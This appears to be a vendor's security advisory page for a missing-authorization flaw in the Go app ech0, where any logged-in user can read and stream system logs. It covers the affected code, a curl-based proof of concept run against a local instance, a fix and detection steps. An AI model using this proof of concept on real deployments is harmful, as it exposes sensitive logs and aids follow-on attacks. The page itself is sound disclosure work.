GHSA-cp79-9mwr-wr49 — ech0
MEDIUMGHSA-cp79-9mwr-wr49 is a medium-severity (CVSS 6.5) CWE-862 vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.
Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-cp79-9mwr-wr49.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-cp79-9mwr-wr49 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lin-snow/ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Ech0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.
Impact
Any valid user session can access GET /api/system/logs and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.
Details
The issue is caused by an authorization gap between route registration, handler logic, and the service layer.
internal/router/dashboard.go registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
// Auth
appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}
internal/handler/dashboard/dashboard.go returns log data directly and the SSE/WS handlers only check whether jwtUtil.ParseToken(token) succeeds:
func (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
logs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{
Tail: tail,
Level: ctx.Query("level"),
Keyword: ctx.Query("keyword"),
})
if err != nil {
return res.Response{Err: err}
}
return res.Response{
Data: logs,
Msg: "获取系统日志成功",
}
})
}
internal/service/dashboard/dashboard.go exposes the log backend without adding a compensating admin check:
func (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {
tail := query.Tail
if tail <= 0 {
tail = 200
}
return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}
Affected endpoints:
GET /api/system/logsGET /api/system/logs/stream?token=...GET /ws/system/logs?token=...
Proof of concept
1. Start the app
docker run -d \
--name ech0 \
-p 6277:6277 \
-v /opt/ech0/data:/app/data \
-e JWT_SECRET="Hello Echos" \
sn0wl1n/ech0:latest
2. Initialize an owner account and register a normal user
curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass","email":"[email protected]"}'
curl -sS -X POST "http://127.0.0.1:6277/api/register" \
-H 'Content-Type: application/json' \
-d '{"username":"winky","password":"winkypass","email":"[email protected]"}'
3. Log in as the non-admin user and request the system log endpoint
winky_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/login" \
-H 'Content-Type: application/json' \
-d '{"username":"winky","password":"winkypass"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
curl -sS "http://127.0.0.1:6277/api/system/logs" \
-H "Authorization: Bearer $winky_token"
Observed response: the non-admin user receives 200 OK and a JSON response containing entries from app.log
The same missing-authorization pattern also affects:
GET /api/system/logs/stream?token=<non-admin-token>GET /ws/system/logs?token=<non-admin-token>
Recommended fix
Require an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.
Suggested change in internal/router/dashboard.go:
import (
"github.com/lin-snow/ech0/internal/handler"
"github.com/lin-snow/ech0/internal/middleware"
authModel "github.com/lin-snow/ech0/internal/model/auth"
)
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.GetSystemLogs(),
)
appRouterGroup.AuthRouterGroup.GET(
"/system/logs/stream",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.SSESubscribeSystemLogs(),
)
appRouterGroup.WSRouterGroup.GET(
"/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.WSSubscribeSystemLogs(),
)
}
Suggested defense-in-depth change in the service layer:
func (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {
if err := s.ensureAdmin(ctx); err != nil {
return nil, err
}
tail := query.Tail
if tail <= 0 {
tail = 200
}
return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 4.3.5go get github.com/lin-snow/ech0@v4.3.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/ech0 to 4.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cp79-9mwr-wr49 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-cp79-9mwr-wr49 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-cp79-9mwr-wr49. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-cp79-9mwr-wr49 in your dependencies?
O3 Security finds GHSA-cp79-9mwr-wr49 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.